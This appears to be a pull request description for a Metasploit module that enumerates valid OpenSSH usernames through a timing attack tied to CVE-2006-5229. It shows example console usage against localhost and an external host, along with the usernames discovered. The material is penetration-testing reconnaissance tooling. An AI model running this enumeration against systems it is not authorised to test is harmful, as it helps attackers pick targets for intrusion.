Add OpenSSHD user enumeration module

Add OpenSSHD user enumeration module.

Uses a time based attack to determine whether or not a user may log in a SSH server as described on this Full Disclosure thread: http://seclists.org/fulldisclosure/2013/Jul/88, differs from original aproach on using a 64,000 character string instead of a 39,000 one.

Tested on OpenSSH 6.5p1, marked as [CVE-2006-5229](http://cvedetails.com/cve/2006-5229/). 

### Example output

    msf > use auxiliary/scanner/ssh/ssh_enumusers
    msf auxiliary(ssh_enumusers) > info
    
           Name: SSH Username Enumeration
         Module: auxiliary/scanner/ssh/ssh_enumusers
        License: Metasploit Framework License (BSD)
           Rank: Normal
    
    Provided by:
      kenkeiras
    
    Basic options:
      Name       Current Setting  Required  Description
      ----       ---------------  --------  -----------
      RHOSTS                      yes       The target address range or CIDR identifier
      RPORT      22               yes       The target port
      THREADS    1                yes       The number of concurrent threads
      THRESHOLD  10               yes       Amount of seconds needed before a user is considered found
      USER_FILE                   yes       File containing usernames, one per line
    
    Description:
      This module uses a time-based attack to enumerate users in a OpenSSH
      server.
    
    References:
      http://cvedetails.com/cve/2006-5229/
    
    msf auxiliary(ssh_enumusers) > set RHOSTS 127.0.0.1, codigoparallevar.com
    RHOSTS => 127.0.0.1, codigoparallevar.com
    msf auxiliary(ssh_enumusers) > set THREADS 2
    THREADS => 2
    msf auxiliary(ssh_enumusers) > set USER_FILE /home/kenkeiras/Documentos/test_user_list
    USER_FILE => /home/kenkeiras/Documentos/test_user_list
    msf auxiliary(ssh_enumusers) > run
    
    [*] Starting scan on 192.73.235.93
    [*] Starting scan on 127.0.0.1
    [!] User '1234' not found on 127.0.0.1
    [!] User '1234' not found on 192.73.235.93
    [!] User 'admin' not found on 127.0.0.1
    [!] User 'bind' not found on 127.0.0.1
    [!] User 'bluestash' not found on 127.0.0.1
    [!] User 'admin' not found on 192.73.235.93
    [!] User 'hackliza' not found on 127.0.0.1
    [!] User 'bind' not found on 192.73.235.93
    [!] User 'bluestash' not found on 192.73.235.93
    [+] User 'kenkeiras' found on 127.0.0.1
    [!] User 'postfix' not found on 127.0.0.1
    [!] User 'root' not found on 127.0.0.1
    [!] User 'user' not found on 127.0.0.1
    [*] Scanned 1 of 2 hosts (050% complete)
    [+] User 'hackliza' found on 192.73.235.93
    [+] User 'kenkeiras' found on 192.73.235.93
    [!] User 'postfix' not found on 192.73.235.93
    [!] User 'root' not found on 192.73.235.93
    [!] User 'user' not found on 192.73.235.93
    [*] Scanned 2 of 2 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(ssh_enumusers) >